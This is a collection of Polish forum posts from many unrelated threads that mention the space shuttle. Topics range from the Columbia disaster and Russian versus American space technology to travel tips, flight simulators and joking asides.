bleeeeeee
A ja nie znosze tych latajacych maszyn: ptaków(nie maszyny ale latające),
latawców, samolotów, helikopterów, szybowców, wszelakich modeli w skali,
nietoperzy, rakiet balistycznych, rakiet ziemia-powietrze, ziemia-ziemia, woda-
ziemia, latających ryb, powietrze-powietrze, powietrze-ziemia, promów
kosmicznych, satelitów, jaskółek z papieru i co tam jeszcze nie wymieniłem, a
co nie lata. A poza tym siebie lubię raz do roku.:))))

     

  NASA: Nie ma szans na awaryjne lądowanie (krótka5)
Gość portalu: Szkrobi napisał(a):

> Tak
> czy inaczej złom i latające trumny za wielkie pieniądze.

Ferujesz wyroki nie zwrociwszy uwagi na alternatywy. Z czym chcesz porownywac
awaryjnosc promow kosmicznych? Z samolotami? Prom kosmiczny jest o wiele
bardziej zlozony niz przecietny samolot i musi radzic sobie w nieporownywalnie
bardziej ekstremalnych warunkach. Tragiczny lot Columbii byl 113. misja promu
kosmicznego. Dwie katastrofy na 113 lotow daje awaryjnosc 1.8%, co jest i tak
bardzo duzym osiagnieciem biorac pod uwage olbrzymia ilosc awarii we wczesnych
fazach (zwlaszcza testach bezzalogowych) programow Sojuz i Apollo. Loty
kosmiczne byly, sa i pozostana niebezpieczne.

  Amerykański złom się rozleciał i zabił 7 ludzi
Gość portalu: jastrzab napisał(a):

> Jeden oficjal z Rosyjskiej Akademi Nauk przyznal ze ten
> amerykanski prom ("zlom") to obecnie najnowoczesniejsza
> technika kosmiczna i Rosjanie nie mieliby nic przeciwko
> bycia w posiadaniu takiej technologii.

Wlasnie.Aby zrozumiec to co sie stalo trzeba zrozumiec
Ameryke!
Ameryka juz dawno przyzwyczaila sie do takich promow i zaczela
je traktowac jak normalne samoloty.
A to swiadczy o jej technologii.Awarje zdazaja sie wszedzie.
A czy samoloty ich nie maja?
Niedawno niejaki Concorde i inne...
A zatem to kwestia przyzwyczajenia;ta zbyt duza technika oslabila
w pewnym sensie czulosc na to;bo jest juz prawie powszechna.
I tu tkwi problem!!!
Nowy wachadlowiec napewno by nie mial takich problemow;
mowie nowy w sensie nowej technologii;ale te oni robia tak jak
samoloty,a katastrofy tych zdarzaja sie rowniez,to jest zycie .
A zatem z czym do goscia?

:)

  Ilian Ramon wielkim pechowcem.
Ilian Ramon wielkim pechowcem.
Prom kosmiczny Columbia wczesniej startowal i ladowal 27 razy.
Zalogi po wykonaniu zadan wracaly z misji cale i zdrowe.
Kogo interesuja dzis sukcesy poprzednich 27 udanych lotow Columbii
i nazwiska biaracych w tym udzial kosmonautow.
Dwudziesty osmy lot byl pechowy , prom kosmiczny sie rozlecial , zginelo
7 osob. Nie spotkalem sie z opinia , ze szesciu pozostalych kosmonautow
to bohaterowie. Wszyscy oni ( 7 osob) mieli pecha.
Czy pechowcy moga byc bohaterami? Co jakis czas rozbija sie samolot
pasazerski, ginie na raz ponad 200 osob. W wypadkach samochodowych ginie
rocznie znacznie wiecej ludzi niz w lotniczych.
Pewnie za duzo tych " bohaterow" aby zwracac na nich uwage.
Bohaterem powinien byc ten komu sie udalo szczesliwie wyladowac, ale
to juz nie jest taka wielka medialna sensacja ...
Wspolczuje rodzinom wszystkich siedmiu pechowych kosmonautow.

     

  przerazajaca idea wojny w przestrzeni
Opinia nie od lewaka
Marcusie, w symulacjach komputerowych mozna wszystko pokazac. A przeciez
Amerykanie w technice kosmicznej maja coraz wieksze problemy. Ich promy nikt
nie przewidywal, ze maja tak dlugo latac. Nastepcow nie ma, a efekt jest to co
sie stalo przed paru miesiacami. Katastrofa, bo to przeciesz juz zlom. Nie ma
czesci zapasowych bo sie zuzyly. Na SSI, ktorej podstawa jest technika rosyjska
musza latac na rosyjskich rakietach. I ostatnio kupuja Amis silniki do rakiet
od Rosjan. Sa to RD180, zamowionych jest 100 szt.
W technice lotniczej popatrz Airbus. Juz sprzedaje wiecej jak Boenig. I Airbus
konstruuje nowe samoloty, a u Amerykanow nic. Jak sie te stare jeszcze daje
sprzedawac to dobrze, ale juz cos slychac, ze Boenig ma po prostu zaprzestac
budowania samolotow.
W technice samolotow wojskowych. F35 od kilku lat ciagkle bedze gotowy za lat
10. I z powodu braku mozliwosci kostruowania szukaja Amis firmy np. europejskie
aby z ten F35 konstruowaly. Tez sie takdzieje z innymi.
Pozdrowienia

  Felieton z cyklu "Z Rosji"
borrka napisał:

> Rosja, poza byc moze (nie wiem) zbrojeniowka i technika kosmiczna, nie
> dysponuje technologia, ktora bylaby "mlodsza" niz 12 - 14 lat.

czyLI twierdzisz że zbudowanie pralki, lodówki, czy samochodu jest bardziej
skomplikowane niż zbudowanie rakiet kosmicznych promów i najnowszych samolotów
typu np su 37?

> Stare sowieckie instytuty nie istnieja, czesc know-how zostala w
niepodleglych
> dzis republikach.
> To sa zludzenia, ze mozliwe jest przeskoczenie w krotkim czasie dystansu
> technicznego wobec Zachodu.
> Zachod ze swojej strony inwestuje niewiele, pieniedzy z ropy jest sporo, ale
i
> potrzeby sa wielkie.

  USA zwiększą pomoc wojskową dla Polski
Wektorowo sterowane byl X-31 zbudowany przez niemiecka DASA w kooperacji z
Rockwell International jeszcze w 1992 roku. Su-30MKI tez ma wektorowe
sterowanie. To juz jest normalna technologia, a nie jakies cudo.

U-2 byl przestarzaly juz wtedy, gdy zestrzelono Powersa. A poza tym, po co ktos
mialby wydawac pieniadze na tak kosztowne samoloty szpiegowskie jak SR-71,
jesli i tak satelity robia to o duzo lepiej. Popatrz na to z utylitarnego
punktu widzenia. Prom kosmiczny moze jest bardziej zaawansowany, ale nie
zmienia to faktu, ze jest uziemiony a Sojuzy dalej lataja. Po cholere wydawac
pieniadze na wynalezienie dlugopisu, ktory pisze w prozni, pod woda i do gory
nogami, jesli mozna uzyc olowka.

  Nikt nie pisze o Frankfurcie ?!!!
"Jak podaje Radio Zet porywacz jest wielbicielem amerykańskiej astrunautki -
nauczycielki, która zginęła w katastrofie promu kosmicznego Challenger. Z
informacji radia wynika, że mężczyzna ma paliwo jeszcze na około dwóch godzin
lotu.
Początkowo porywacz groził, że aby upamiętnić śmierć Amerykanki, rozbije swój
samolot o jeden z najwyższych wieżowców w finansowym centrum Frankfurtu.

Niemieckie władze lotnicze we Frankfurcie podały, że kradzieży samolotu
latającego obecnie nad centrum miasta nie należy wiązać z terroryzmem."

Nie będzie Allah Akbar. może dlatego takie małe zainteresowanie...

  Max/min zużycie paliwa
sherlock_holmes napisał:

> Tymczasowo przyznaje palme pierwszenstwa :-))) Cxzekam na kogos, kto prowadzi
> pociag z lokomotywa spalinowa albo jest kapitanem ...transatlantyka :-))) W
> ostatecznosci moze byc samolot, ale nie Wilga, tylko Concorde co najmniej -
> najlepiej, zeby to byl prom kosmiczny :-)

Ja protestuje zdecydowanie!
Rzeczony Leopard to normalny pojazd samochodowy, jako taki normalnie
dopuszczony i zarejestrowany, z przepisowymi swiatlami, migaczami, lusterkami,
dwoma tablicami rejestracyjnymi i plakietkami TÜVu na tychze.

Nawet dopuszczenie do jazdy po autostradzie ma (predkosc maks powyzej 60 km/h,
potwierdzona odpowiednia nalepka).

Jest tylko nieco szerszy i nieco solidniej zbudowany, niz reszta talatajstwa na
drodze. No i ma gasienice pod ogumionymi (masywnie) kolami.

Dlatego domagam sie dopuszczania do konkurencji wylacznie pojazdow
samochodowych, spelniajacych wymagania dla takowych i bedacych jako takie
zarejestrowanym.

Wszelkie Concordy, Challengery i inne latajace lub plywajace niszczarki paliw
plynnych niech konkuruja na innych forach.

;-)

POzdr.

K.

  Boeingi będą z plastiku
Tytuł robi nieco ludziom wodę z mózgu...
Ten "plastik" tak myli i trochę straszy. A chodzi przecież w kompozyty:
mieszanki żywic i włókien sztucznych (nie wspomnę o przestarzałych szklanych,
ale raczej węglowych, kevlarowych, itd.) - kompozyty, dla których współczynnik
wytrzymałości do masy własnej na głowę bije materiały typu metale, w tym
stosowane w lotnictwie stopy aluminium, magnezu, itd.
Przecież kompozyty stosowane są od dosyć dawna np. w sprzęcie kosmicznym
(chociażby osłony promów kosmicznych czy rakiet), sportowym (wędkarstwo,
narciarstwo, rowery, jachty, itd.) czy innych "wynalazkach" typu hełmy i
kamizelki kuloodporne.
Oczywiście trzeba jasno pwoiedzieć, że na pewno nie całe samoloty
będą "plastikowe" - nie da się zrobić np. takich silników ;)

  daleka Islandia
tedpodm napisał:

> Hej! Jeśli macie dane dotyczące podróży na tą "kosmiczną" wyspę to
> interesowałyby mnie następujce rzeczy:
> -jak dostać się na Islandię (ceny,terminy)

***** prom lub samolot a reszte znajdz w internecie na googlu, troche
inicjatywy dobrze robi

> - jak poruszaś się na miejscu

******** autobusem, mozna wynajac auto

> - czy na tzw. Interior da sie wjechać autem bez napędu 4x4

****** nie polecam, tam sa miedzy innym brody do przejechania a w zasadzie nie
tyle nie polecam co jest to po prostu glupota i brakiem odpowiedzialnosci jak
rowniez wyobrazni

> - czy namioty mozna rozbijać gdzie się chce

****** w zasadzie tak, tam gdzie sie je da rozbic

> - jaki jest najlepszy termin do wyjazdu

*********pozny lipiec /sierpien/wrzesien

> - czy słyszeliście o jakimś podwodnym tunelu przez który przejezdza się autem
> To chyba na razie tyle!Pozdrawiam!
> Podaje ewentualnie mój adres -
> tedpodm@poczta.fm

  Szukam wątków lotniczych...
Kochane koleżanki. DZIĘKUJĘ za wzory! Muszę przyznać, że jesteście niesamowite!
Zalogowałam się tu wczoraj, cichutko sobie czekałam, ale myślałam, że nic nie
dostanę, bo mnie tu nikt nie zna. Aż tu nagle tyle propozycji! No i teraz czeka
mnie niezła przeprawa, bo mąż chce WSZYSTKIE samoloty, prom kosmiczny i nawet te
latające świnki. Pozdrowienia dla wszystkich, a szczególnie dla jany 2000 i
beatrycze_b1.
A mój mąż to raczej taki "szmatolot", czyli lata na motolotni, paralotni i
paraplanie; kiedyś uprawiał skoki spadochronowe... Ale lubi wszystko, co lata.

  Szukam ciekawego symulatora lotu.
Gość portalu: mati_ napisał(a):

> Najlepiej samolotu pasażerskiego lub innego cywilnego ,
bo nie lubię
> przemocy.Podajcie tutuły.A może ktoś ma na sprzedaż ?

X-Plane ver. 6.70

od szybowca do ... promu kosmicznego
bardzo realistyczny fajna grafika i prawie freewarowy

  Prom Columbia sie rozbil 7 osob zginelo
Gość portalu: czyzunia napisał(a):
no jakoś nie mogę się doliczyć. tych trzech ze stacji
kosmicznej zabiorą ruskie.a co do towaru trującego na
tym promie to nie wiem.
Gość portalu: rex napisał(a):
Chodzi mi o wstrzymanie doswiadczen naukowych
przeprowadzanych w kosmosie.
Tych nad bronia jadrowa, biologiczna czy chemiczna?
Czy szczatki Columbii sa zakazone bronia A, B czy C?

R: Z Columbia splonely wyniki 80 waznych badan. Miedzy
innymi chodzi o doswiadczenia dotyczace walki z rakiem.
K: Mowisz o tych koloniach wirusow, co zrzucone nad
Irakiem mialy spowodowac epidemie nowotwoeow zlosliwych?

R: Ten trujacy towar to pozostalosci paliwa.
K: BREDNIA! Columbia laduje jak szybowiec, bo NIE ma na
pokladzie nic a nic paliwa. Pomylila sie tobie Columbia z
tym sowieckim "shuttle", co mial normalne silniki
turboodrzutowe, jak kazdy samolot. Columbia to zas tylko
szybowiec, nie ma ona silnikow do manewrowania przy
ladowaniu, a tylko rakietowe do "take off"!

R: Po drugie lepiej ludkom powiedziec "nie dotykaj bo
niebezpieczne" niz pozwolic, aby ze szczatek robili
breloczki na klucze.
K: A czemu nie? Chcesz komuchu utrudniac zycie
biznesmenom? Musi byc popyt na te breloczki!
A w USA jest podobno wolny rynek!

  Orginalne kobity- wpisujcie sie..UDOWODNIJCIE ŻE..
bloodrayne napisała:

> macie pewnie mase szalonych pomyslow na zycie... Czy moze wasza orginalnosc
> polega tylko na poznawaniu faceta przez neta i kochanie sie znim na wszystkie
> sposoby na wiezowcu? UDOWODNIJCIE ze macie jakies wieksze perspektywy....

Większą perspektywę osiągam kochając się w samolocie. Jak podróże promem
kosmicznym staną się ogólnie dostępne dalej zwiększę swoją perspektywę.

  Orginalne kobity- wpisujcie sie..UDOWODNIJCIE ŻE..
Gość portalu: skurczybyk napisał(a):

> Większą perspektywę osiągam kochając się w samolocie. Jak podróże promem
> kosmicznym staną się ogólnie dostępne dalej zwiększę swoją perspektywę.

;) wyobrażam sobie co bedzie jak przeczytaja sobie to forumowiczki....

  Dlaczego? - pierwsze opinie i komentarze po kay...
witaj,
polecam Ci świetną ksiązkę "Samoloty Kosmiczne" wydaną bodajże w 1989 roku, autor Nowicki (był też drugi autor, ten pierwszy wypowiadał się m.in. w Gazecie). W tej książce masz około 200 stron o wahadłowcach (reszta o innych projektach np. X15).Co do toru powrotu, to jest on obliczony właśnie tak, aby zminimalizować produkcję ciepła (co w praktyce polega na maksymalnym wydłużeniu czasu hamowania - energia kinetyczna promu przy powrocie z orbity jest zawsze mniej więcej podobna). Prom wyhamowuje prąc spodem z uwagi m.in. na fakt iż właśnie tam ma wbudowane najodporniejsze płytki osłony. Osłona, o ile dobrze pamiętam składa się z 4 różnych rodzajów płytek. Te najtrwalsze (bodajże kwarcowe) zainstalowane są na dziobie i krawędziach natarcia skrzydeł, mniej trwałe od spodu, najsłabsze na bokach kadłuba. Cały prom nie jest pokryty najbardziej trwałymi płytkami w całości z uwagi na ich sporą masę i kruchość.
Co do hamowania na orbicie, to po pierwsze musiałbyś mieć na promie masę dodatkowego paliwa (niewiele mniej niż potrzebowałeś na start), a pozatym po pozbyciu się energii kinetycznej dysponowałbyś jeszcze sporą energią potencjalną (prom znajdowałby się wtedy jakieś 150 km nad powierchnią Ziemi). Z tej przyczyny we wszystkich misjach kosmicznych używa sią hamowania w atmosferze (z tym że osłony termiczne za tu głównie ablacyjne, wahadłowiec w niektórych miejscach tylko jest pokryty tego typu osłoną).
pozdrawiam

  Mieszkańcy Bielska-Białej nie chcą już lotniska
nie odpowiedziałeś na moje pytanie :)
Jakoś mnie to nie dziwi - wiesz, jakoś niewiele masz jak zwykle do powiedzenia
mimo ilości słów użytych w wypowiedzi...

Taaaa jassssne wszyscy mamy własny samolot na naszym lotnisku , ja mam w
dodatku kilka helikopterów i prom kosmiczny :D a pod blokiem parkuję Boeinga
747 :)

Ty jesteś przeciw temu lotnisku, mimo iż nie mieszkasz blisko niego.
Wierzę, że większości mieszkańców okolicznych osiedli jakoś fakt latania
samolotów nie przeszkadza...no poza (jak wynika z artykułu)ludziom, którym
samolot zagłusza księdza w kościele...ale w końcu właśnie Ci ludzie powinni
wierzyć w cud...że na nich taki samolot nie spadnie :)

Moim zdaniem źle że nie ma na naszym lotnisku betonowego pasa startowego -
myślę że w jakiś sposób przyczyniłoby się to do rozwoju miasta.
Na pewno źle że cały teren lotniska nie jest zabezpieczony , ogrodzony - ale to
można i należy zmieniać.

Jeśli chodzi o wypadki lotnicze - mniej ludzi na świecie ginie w takich
wypadkach w porównaniu do wypadków drogowych(ale fakt że media nagłaśniaja
takie wypadki bardziej)...myślę że jak przeliczysz procentowo wypadki
lotnicze / drogowe (przez ilość pasażerów), to mimo wszystko więcej ludzi ginie
na drogach. Latanie po prostu jest bezpieczniejsze.

  A ja jeszcze lubie RMF FM!
Gość portalu: T napisał(a):

> inny.obserwator napisał:
>
> > A o co chodzi z tym biletem w kosmos, bo nie wiem?
>
> Chodzi o to, że zzwyciężczyni tego konkursu wcale nie poleciała w kosmos. I
nie
>
> wiadomo, czy w ogóle poleci. Koszt komercyjnego lotu w kosmos liczy się w
> milionach dolarów, a przy obecnej sytuacji RMF na to nie stać.

To nie do końca tak... Owszem, panienka wygrała lot w kosmos, była bodajże na
przeszkoleniu w Gwiezdnym Miasteczku w Rosji i czeka, aż zbudują (tylko kto?
USA zapewne) samolot-prom kosmiczny, który poleci prawie (sic!) w kosmos, co
jest nieco tańsze od obecnych "turystycznych" lotów.

Z tym całym kosmosem to było mocno przereklamowane... jak zwykle zresztą. Ale
ludzie potrzebują niestety takiej rozrywki - karmienia złudzeniami.

  COLUMBIA -tragedia
Gość portalu: Alen napisał(a):

> Kiedyś na termodynamice obliczałem nagrzewanie się poszczególnych krytycznych
> części obudowy samolotu, podczas jego przemieszczania się w atmosferze.
> To są niesamowite temperatury,
Teraz to juz ze smiechu powalasz mnie z nog:)))))
Mozesz napisac o jakich temperaturach piszesz. Mysle, ze nie tylko ja bylbym
tym zainteresowany :)))))

> a przy poruczaniu się Columbii mamy do
> czynienia z jeszcze większymi prędkościami.

I co? spalane w temp. 1700 C. czesci promu kosmicznego, szczegolnie high tech.
materialal z ktorego wykonane byly m.in. oslony zbiornikow z paliwem, robia sie
radioaktywne?
Jest obawa, ze pod wplywem tych temperatur niektore materialy moga byc
toksyczne, a to duza roznica.
Nawet podczas takiej tragedii dla wspolnoty miedzynarodowej, nie mozesz sie
powstrzymac od swojej profaszystowskiej propagandy!

  Tramwaj w manufakturze
Jako znany wszem i wobec krezus, o wiele bardziej zainteresowany jestem znacznie
ciekawszymi środkami komunikacji wewnątrz Manufakturzy. Oczekuję, że będę mógł
korzystać w tym luksusowym centrum z lektyki, balonu, motolotni, kajaka
górskiego, ruchomego chodnika, wind expresowych, samolotu Cesna, teleportacji,
promu kosmicznego. Nie ukrywam, że liczę na możliwość przenikania przez ściany w
ostateczności mogą mnie nosić na plecach. Aha, zamawiam też jako pierwszy w
najbardziej renomowanej restauracji w tymże cudownym miejscu, Stoliczku nakryj
się. Do snu może mi smętnie mruczeć Kot w butach. Już się nie mogę wprost
doczekać otwarcia. Patrząc na wszystkich z góry, mówię: do codziennych spotkań w
naszym łódzkim Las Vegas.
PS
Przygotowałem już kupę szmalu na różne zachcianki. Swoje i kobity, którą zresztą
być może do czasu hucznego otwarcia wymienię na lepszy model.

  Chiński program kosmiczny
> kupieniem od ruskich 40letniego Sojuza... jesli to dla ciebie
> rozsadne dzialanie,
>

Alez skad, jak juz powiedzialem, znacznie lepiej bylo kupic 25-letnie Columbie.
Jak wiadomo, budujac nowy samochod nie nalezy uzywac przestarzalego modelu kola,
trzeba koniecznie wymyslic nowa technologie.

> to mozesz sobie dzialac podobie...

W moim przypadku nazywa sie to "standardy medyczne" - tak, wykorzystuje to co
inni wymyslili, dostosowujac to tylko do aktualnych potrzeb. Wykorzystuje tez w
podobny sposob procedury badawcze. I NA BAZIE TEGO TWORZE NOWE RZECZY.

> a propos "kosmicznego samolotu", to co sie stalo z Buranem??

A co sie mialo stac. Dokonal jednego BEZZALOGOWEGO lotu - czyli czegos, czego
Amerykanie nadal nie umieja zrobic z promem kosmicznym. A potem z czystej
kalkulacji wyszlo Rosjanom, ze "samolot kosmiczny" nijak sie nie kalkuluje w
porownaniu z juz isniejacymi sojuzami, i wlozono go do lamusa. Amerykanie tez na
to wpadli.. w 2005. A sojuzy lataja.

Ty, skipper_, ty mnie lepiej powiedz, czemu nagle tem Amerykanom zaczal sie
palic... Ksiezyc pod nogami, skoro te tandetne chinskie sojuzy sa nic nie warte,
a ruskie nic nie mowily, ze tam sie wybieraja? :)

  Innowacje wynalazki i gadzety
Zachecona uwaga Warum podaje niektore inne wynalazki, gadzety wiec : guma
balonowa - 1928, bank krwi - 1935, bankomat - 1968, by - pass tetnic
wiencowych - 1962, coca-cola - 1885, darmowe szkoly publiczne - 1636, dzinsy -
1873, kopiarka - 1937, jacuzzi - 1968, karteczki samoprzylepne - 1980, krzeslo
elektryczne 1889, krzyzowka - 1913, linia montazowa - 1913, mikroprocesor -
1971, otwieracz do konserw - 1925, papier toaletowy - 1857, plaster z
opatrunkiem - 1920, ponczochy nylonowe - 1939, prom kosmiczny - 1981, prozac -
1988, rajstopy - 1959, samolot - 1903, schody ruchome - 1893, soczewki
kontaktowe - 1948, stowarzyszenie AA - 1935, szczepionka przeciw polio - 1952,
tasma klejaca - 1930, telefon z wybieraniem tonowym, tomografia komputerowa -
1975, uklad klawiatury QWRTY - 1866, zamek blyskawiczny - 1983, zmywarka -
1889, zwirek dla kota - 1947.
Ktos wspomnial o minutniku, rewelacja na wszystkie okazje; gotowania,
trzymania farby na wlosach, pilnowania dzieci - (za pol godziny masz lezec w
lozku - i tak nie lezy, ale mobilizuje sie), o ktorej mam wyjsc, zadzwonic....

  Bubel za 60 mlionów dolarów.
?? nie trzeba się znać na .. oczywiście, żeby takie głupoty wygadywać to nie trzeba znac się dosłownie na niczym .. Mianowicie: wszystkie samoloty psują się. To nie twoje skarpetki, żeby ich przeglądu dokonywać raz do roku i raz do roku je prać.Są technologicznie bardziej zaawansowane od skarpetek. Podobnie jak z promami kosmicznymi - prób sprzętowych i symulacji tak naprawde wykonuje się na ziemi mnóstwo, zanim wystartują. Bo chodzi tu o życie ludzkie i wart miliony dolarów sprzęt. W warunkach pokoju nawet drobna usterka wyklucza samolot lub jakikolwiek sprzęt wojskowy z użycia. Być może w krajach dawnego bloku socjalistycznego nie szanowało sie w wojsku życia (stąd zaniedbania stanu samolotów na ziemi owocowały w licznych kraksach). Z tego, co wiem, do lat '90 wskakiwało się w samolot po sprawdzeniu, czy podstawowa elektronika działa, czy stery chodzą i czy starczy paliwa. Jak ktoś nie ma pojęcia o bojowym przygotowaniu samolotu, to niech nie pisze ..
A konkretnie: co jest z nim nie tak panie specu od lotnictwa wojskowego .. przypuszczam, że jak z plastiku zrobisz sobie model F-16 albo z papieru wytniesz i nie osiągnie prędkości powyżej 400 km/h to masz pełne prawo powiedzieć, że "coś nie tak" .. co do prawdziwych samolotów, podejrzewam, nie masz zielonego pojęcia .. po prostu nie trawię ignorantów .. mojemu znajomemu też się Merc popsuł i nie twierdzę, że jest do niczego .. te samoloty chyba prosto z salonu nie były .. Amerykanie mają hopla na punkcie bezpieczeństwa - stąd po wykryciu usterki sprawdza się z miejsca całą serię transportową pod tym kierunkiem ..

  najgłupszy film jaki obejrzeliscie do konca
Nie znam tytułu - ale film był o samolocie pasażerskim, który w jakiś sposób
wyleciał na orbitę okołoziemską. Z misją ratunkową wystartował prom kosmiczny
Columbia (chyba) i przez jakiś rękaw pasażerowie przechodzili do promu. I tak
ze trzy razy. SUPER - chciałbym to zobaczyć jeszcze raz :)) MOŻE KTOŚ ZNA
TYTUŁ ???

  W poniedziałek będzie bity rekord prędkości sam...
Co do przebytej drogi - sam silnik pracuje 11 sekund, ale samolot nie staje
przecierz jak tylko się silnik wyłączy, tylko leci sobie dalej :). Stąd te 1300
km (to powoli zwalnia :).
A co do zastosowania silników typu scramjet, to jedyne realne o jakim słyszałem,
to do napędzania promów kosmicznych nowej generacji. Ale nie wiadomo, czy
zostanie zrealizowana. Ale zawsze jest powód, żeby pobawić się dużą zabawką i
wyciągnąć pieniądze na badania :). Życze miłej zabawy:).

  Jakimi liniami na Floryde?
latam przez Chicago i odradzam. zgadzam sie podrozniczka ze lepiej miec
przesiadke w europie: franfurt, amsterdam, londyn, dlatego ze:
1. w chicago mozesz miec pewnosc ze samolot sie opozni (lotnisko jest
przeladowane)a na dodatek stare i brudne
2. nie lubie latac LOTem bo troche denerwuje mnie stanie w kolejce do wejscia
do samolotu godzine przed odlotem tak jakby nie bylo wyznaczonych miejsc
3. chicago to port wjazdowy do USA i bedziesz miec kontrole imigracyjna zanim
przesiadziesz sie na somolot na Floryde , lecac prosto do Miami lekkie
opozninie nie ma juz znaczenia
4. kolor skory nie ma znaczenia, nie spotkalem jeszcze gbura choc nie kazdy
musi byc mily.
5.AVIS jest dosc drogi, jesli znasz angielski wejdz na yahoo travel, kliknij na
car rental i zobacz co oferuja,
6. nie obawiaj sie huraganow zima, huragany sa tylko od sierpnia do konca
pazdziernika/polowy listopada

Nie wiem jaki macie plan, ale polecam udac sie troche na polnoc autostrada 95
do Cape Canaveral (gdzie startuja promy kosmiczne).

zycze milego pobytu,
jesli masz dodatkowe pytania, daj znac

  Wyspy Zielonego Przylądka
Transport z wyspy na wyspę to loteria. Są dwa sposoby:
1. lotniczy. Jest ich narodowy przewoźnik TACV. Przylatując na wyspę tą linią z
Europy możesz wykupić dodatkowo tzw airpass i zaplanować transport między
wyspami. Planowanie jest cokolwiek śmieszne bo nie ma rokładu lotów - musisz
mieć dużo cierpliwości i poskładać loty mailując do biura w Monachium lub po
przybyciu na wyspy udać się na lotnisku do ichniego biura i tam w ciągu dwóch
godzinek może uda się zaplanować przeloty :o)
Druga linia: Cabo Verde express to mała prywatna linia która ma dwa czeskie
samolociki 10-cio miejscowe. Loty zupełnie randomiczne. Biuro na lotnisku na
Sal.
2. Promy :o) Kosmiczne sztrucle jak węglowe barki. Odpływają wtedy kiedy
uzbiera się odpowiednia ilość pasażerów. Trzeba uzbroić się w cierpliwość i
czasem trzeba poczakać dwa dni na nadbrzeżu aby popłynąć :o)
Kupiłem samolot i hotel bo tak było taniej. Hotel przydaje się na początek jak
nie wiesz czy będzie gdzie spać. Potem można go opuścić na czas podróży po
innych wyspach. Ale może zdażyć się oferta samego przelotu w atrakcyjnej cenie
i wtedy warto wziąc a hotel zanlaeżć na miejscu - nie będzie z tym kłopotu.
Baza noclegowa jest dobra.
Żywienie na własną rękę to najlepszy deal. Żarcie nie jest drogie a potrawy w
knajpkach - bajka!

  Wojewoda czyści powiat garwoliński dla partyjny...
CIEKAWE, jak ela dojechała na kubę?, jeżeli tam wogóle była i przebywała. My
wyborcy jesteśmy ciekawi, pod jakim szyldem wystartuje elżunia w wyborach A.D.
2006 .jAKIE będzie miała hasło wyborcze? proponujemy ,,PRECZ Z IMPERIALIZMEM".
Ciekawa, jeżeli była w havanie, to jak tam dojechała: może Rowerem, Koleją,
wyciągiem orczykowym lub krzesełkowym, statkiem, kajakiem lub łudką, balonem
dmuchanym, statkiem kosmicznym, pieszo, promem, samolotem, biegiem maratońskim,
zrzutem, samochodem, motocyklem, motorówką, motorowerem, hulajnogą, wózkiem
widłowym (albo spacerówką), wpław przez ocean.
Kochani mieszkańcy odpiszcie, jak morzna dostać się na kubę w miarę szybko i
bezpiecznie. Za 2 lata odbędą się obchody 30 rocznica światowego zjazdu
młodzieży. chciałbym tam też zdązyć na 2008 r.

  Rosja: lewe części w remontowanych samolotach
Rosja: lewe części w remontowanych samolotach
O kuuuuuurde. Ale odkrycie.
Serwisy samochodowe robią to samo wszędzie.
Wiadomo, że na samolotach można więcej zarobić, więc zarabiają. :)
Za jakiś czas się okaże w Stanach, że promy kosmiczne też na lewych częściach
chodzą. :) Lol

  Co to za bydlę nad Wrocławiem??
oj nie chcial bym takiej durnej mamy jak ty.
a w temacie - to byl ruslan (prawie najwiekszy samolot transportowy swiata -
wiekszy jest jeszcze jeden rusek ktory slyzyl do przenoszenia promu kosmicznego)
a lecial do pakistanu z pomoca humanitarna i zolnierzami spieszacymi na pomoc
potrzebujacym ... nie glupio ci ?

  Żona pilota wini aeroklub
Pogratulować "dziennikarce" i "żonie pilota"!!!

"Mocny cudzysłów dla, hmm... dziennikarki"

'Dziennikarce" - za stek bzdur, bo jeżeli mąż nie żyje, a żyje jego żona to nie
jest ona żoną, tylko wdową. Nooo ale teraz studia dziennikarskie można kupić na
targu.

"Żonie", - że dla kasy to można powiedzieć wszysko prasie, nie wiedząc nic na
temat instruktora szkolącego, programu szkolenia - zatwierdzonego przez
najwyższą władzę lotniczą w kraju i nie zważając na to, że można wyjść na
idiotkę.

A tak poza tym, to ciekawe kto dba o grób pilotów?!

Szanowni Państwo, na pewno nie "żona pilota", bo po co?
Robią to "przyjaciele pilotów" , (bo wstyd za zaniedbany grób!).

Nooo..., ale dla kasy można zrobić wszystko!. Prawda "żono pilota"?

Najlepiej atakować za pośrednictwem niekompetentnej dziennikarki, która nie
rozróżni samolotu od promu kosmicznego - a może nawet od latającego dywanu.

  WĘGLOWODANY - FAKTY dla mam i nie tylko :-)
właściwy pojazd dla monaluizy / izado to nie samolot, a raczej prom kosmiczny,
hi, hi, hi...
i idę w zakład o niemalże cokolwiek, że uzna ona za stosowne skomentować nawet
taki głupiutki post, bo ma problem z pozostawieniem komuś innemu tzw.
ostatniego słowa, niezależnie od tematu.
pozdrawiam,
k.

  Czy to wstyd nie miec samochodu?
Nie wiem jakim cudem człowiek bez samochodu jest upośledzony społecznie, nie
powiem, trzeba mieć mocno poprzestawiane w głowie aby tak sądzić. Poza
samochodem są takie środki transportu jak nogi, rower, prom, statek, pociąg,
autobus, tramwaj, samolot, prom kosmiczny i są one w stanie zastąpić samochód w
około 300%, jako że docierają nawet tam, gdzie maniacy 4 kółek dotrzeć szans nie
mają.
Jak dla mnie przedpiśca jest po prostu śmieszny i jakby ktoś miał mnie oceniać
po posiadaniu samochodu lub nie, to po prostu z takową osobą bym się nie
zadawał, bo nie widzę sensu zadawania się z kretynami.
Sam znajduję się w dość ciekawej sytuacji - miałem samochód ale już go nie mam,
bo przestał mi być potrzebny, odkąd znów mieszkam w mieście a nie na jego
peryferiach. Posiadam również bilet kwartalny, rowery. I bardzo się z takiej
sytuacji cieszę, szczególnie w obliczu faktu posiadania mieszkania.
Acha, no i na domiar złego jestem z fajną dziewczyną. Normalnie chyba Rubikon
przekroczyłem.

Alekloco

  Baza RYANAIR może powstać w naszym mieście
wg mnie to troche dziwne argumentacje, bo miedzy serwisem i remontami starych
radzieckich samolotow wojskowych, serwisem i pasazerskich samolotow jest pewna
roznica. poza tym, bazy nie ma, trzeba by wybudowac hangary cala infrastrukture,
zatrudnic pracownikow, ktorych moze lokalnie nie byc.
reszta argumentow tez jakas taka dziwna, bo skoro jest kosmonautyka, to
nastepnym krokiem bedzie serwis amerykanskich promow kosmicznych?;) tak samo nie
rozumiem co ma lucent z tym wspolnego, skoro serwis to diagnostyka wykorzystujac
narzedzia producenta i ew wymiana czesci na takie producenta.

szczerze dziwna argumentacja, bo takie firmy (moze pod innymi nazwami)
znalazlyby sie w kazdym wiekszym miescie.

  Autobusowy problem PKP Intercity
Autobusowy problem PKP Intercity
